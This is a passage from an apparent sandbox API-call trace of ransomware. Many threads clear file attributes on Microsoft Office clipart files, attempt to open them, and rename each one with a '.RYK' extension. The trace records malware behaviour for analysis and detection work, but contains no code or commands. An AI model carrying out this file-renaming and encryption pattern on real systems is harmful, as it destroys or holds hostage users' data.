	[0233.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1405
	os_tid = 0x1210

	[0233.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF", dwFileAttributes=0x80) returned 0
	[0233.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1406
	os_tid = 0x1168

	[0233.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF", dwFileAttributes=0x80) returned 0
	[0233.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.621] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1407
	os_tid = 0x7c4

	[0233.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF", dwFileAttributes=0x80) returned 0
	[0233.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1408
	os_tid = 0x1c04

	[0233.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF", dwFileAttributes=0x80) returned 0
	[0233.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.618] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1409
	os_tid = 0x1c08

	[0233.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF", dwFileAttributes=0x80) returned 0
	[0233.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.617] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1410
	os_tid = 0x1c0c

	[0233.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF", dwFileAttributes=0x80) returned 0
	[0233.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.451] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1411
	os_tid = 0x1c10

	[0233.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF", dwFileAttributes=0x80) returned 0
	[0233.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1412
	os_tid = 0x1c14

	[0233.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF", dwFileAttributes=0x80) returned 0
	[0233.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.524] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1413
	os_tid = 0x1c18

	[0233.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF", dwFileAttributes=0x80) returned 0
	[0233.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1414
	os_tid = 0x1c1c

	[0233.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF", dwFileAttributes=0x80) returned 0
	[0233.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.529] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1415
	os_tid = 0x1c20

	[0233.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF", dwFileAttributes=0x80) returned 0
	[0233.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.530] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1416
	os_tid = 0x1c24

	[0233.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF", dwFileAttributes=0x80) returned 0
	[0233.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1417
	os_tid = 0x1c28

	[0233.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF", dwFileAttributes=0x80) returned 0
	[0233.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.535] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1418
	os_tid = 0x1c2c

	[0233.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF", dwFileAttributes=0x80) returned 0
	[0233.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.698] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1419
	os_tid = 0x1c30

	[0233.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF", dwFileAttributes=0x80) returned 0
	[0233.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1420
	os_tid = 0x1c34

	[0233.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF", dwFileAttributes=0x80) returned 0
	[0233.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.696] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1421
	os_tid = 0x1c38

	[0233.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF", dwFileAttributes=0x80) returned 0
	[0233.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.694] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1422
	os_tid = 0x1c3c

	[0233.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF", dwFileAttributes=0x80) returned 0
	[0233.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1423
	os_tid = 0x1c40

	[0233.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF", dwFileAttributes=0x80) returned 0
	[0233.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1424
	os_tid = 0x1c44

	[0233.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF", dwFileAttributes=0x80) returned 0
	[0233.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1425
	os_tid = 0x1c48

	[0233.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF", dwFileAttributes=0x80) returned 0
	[0233.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.636] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1426
	os_tid = 0x1c4c

	[0233.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF", dwFileAttributes=0x80) returned 0
	[0233.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1427
	os_tid = 0x1c50

	[0233.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF", dwFileAttributes=0x80) returned 0
	[0233.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1428
	os_tid = 0x1c54

	[0233.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF", dwFileAttributes=0x80) returned 0
	[0233.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.765] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1429
	os_tid = 0x1c58

	[0233.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF", dwFileAttributes=0x80) returned 0
	[0233.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0233.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1430
	os_tid = 0x1c5c

	[0233.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF", dwFileAttributes=0x80) returned 0
